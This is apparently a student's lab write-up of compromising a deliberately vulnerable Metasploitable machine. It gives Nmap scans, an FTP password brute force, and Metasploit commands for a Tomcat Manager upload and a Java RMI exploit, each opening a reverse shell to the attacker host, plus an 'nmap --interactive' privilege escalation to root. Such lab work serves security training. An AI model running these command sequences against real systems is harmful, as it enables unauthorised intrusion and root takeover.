๐พMetasploitable (Custom 2)
This is a custom vulnerable machine for a penetration testing module. I had to use the provided leaked information to perform tasks and gain root privileges within a given set of time.
Contents
Recon: N.A
Reconnaissance was not needed as I was provided with a list of usernames
Scanning: Nmap
The target IP address was 192.168.249.148
-p-: All ports
--open: Only show open (or possibly open) ports
-sV: Probe open ports to determine service/version info
-A: Enable OS detection, version detection, script scanning, and traceroute
-O: Enable OS detection
-oA: Output in the three major formats at once
๐ I was reminded not to miss out on UDP scanning to find any potential vulnerabilities too
-sU: UDP Scan
-V: Print version number
-T<0-5>: Set timing template (higher is faster)
-F: Fast mode - Scan fewer ports than the default scan
--version-intensity : Set from 0 (light) to 9 (try all probes)
-oA: Output in the three major formats at once
๐ Masscan can provide a faster scan by using the --rate=1000 flag. It can scan both the TCP and UDP ports together at the same time by using the following example command:
๐ Enumeration: "It Worked" Brute Force (NSE)
With the provided list of usernames, I can attempt to perform a brute force attack on the FTP port 2121 using the Nmap Scripting Engine (NSE)
I had installed the 'seclists' to add more wordlists to my Kali Linux library
sudo apt install seclists
Reference: https://www.kali.org/tools/seclists/
๐ค๐ญ I was initially using Medusa, a brute forcing tool. However, it seemed to be taking quite a while with a wordlist of 500 passwords. I then ran Nmap (NSE) using the same 500 passwords wordlist as shown in Figure 1 below:
๐ค๐ญ Nmap's ftp-brute NSE seemed to be faster as it managed to complete the brute force attempt in 332.63 seconds (about 5.54 mins) while Medusa had yet to complete
For demonstration purpose, I will be using a smaller wordlist: /usr/share/seclists/Passwords/darkweb2017-top10.txt
๐ The default FTP port is 21. In this case, I will need to use the '-sV' flag for FTP port 2121
-sV: Probe open ports to determine service/version info
-p : Only scan specified ports
--script: Runs a script scan using the comma-separated list of filename|category|directory/|expression[,...]
--script-args: Lets you provide arguments to NSE scripts
-oN: Outputs file in a normal format
๐ I managed to find the password used by the username!
Reference: https://www.infosecmatter.com/nmap-nse-library/?nse=ftp-brute
๐ Exploitation: "Succeeded" Tomcat Manager (Msfconsole)
I will attempt to exploit Tomcat Manager port 8180 using the credentials that were obtained from earlier
Visit the target URL using the internet browser
192.168.249.148:8180
Click on the Tomcat Manager link and enter the default login credentials as shown in Figure 2 below
Username: tomcat
Password: tomcat
I will exploit the Tomcat Manager using Msfconsole
msfconsole
search type:exploit tomcat jsp
use exploit/multi/http/tomcat_mgr_upload
set HttpPassword tomcat
set HttpUsername tomcat
set rhosts 192.168.249.148
set rport 8180
set lhost 192.168.249.140
set lport 8999
options
run
getuid
sysinfo
shell
python -c 'import pty; pty.spawn("/bin/bash")'
nmap --interactive
!sh
whoami
๐ I managed to get the 'root' user by executing '!sh' in the Nmap interactive mode!
Reference: https://www.hackingarticles.in/multiple-ways-to-exploit-tomcat-manager/
๐ Exploitation: "Succeeded" Java RMI (Msfconsole)
I will attempt to exploit the Telnet service on port 23 using the log in credentials that I managed to acquire from earlier
msfconsole
search type:exploit java rmi
use exploit/multi/misc/java_rmi_server
set rhosts 192.168.249.148
set rport 47961
set lhost 192.168.249.140
set lport 8889
run
๐ค๐ญ I am getting the following errors:
๐ค๐ญ However it did mention that 'Meterpreter session 1 opened'. Hence, I executed 'sessions' just to check if there was indeed one
sessions
sessions 1
getuid
sysinfo
๐ Executing 'getuid' reflected that the Sever username is 'root'!
Last updated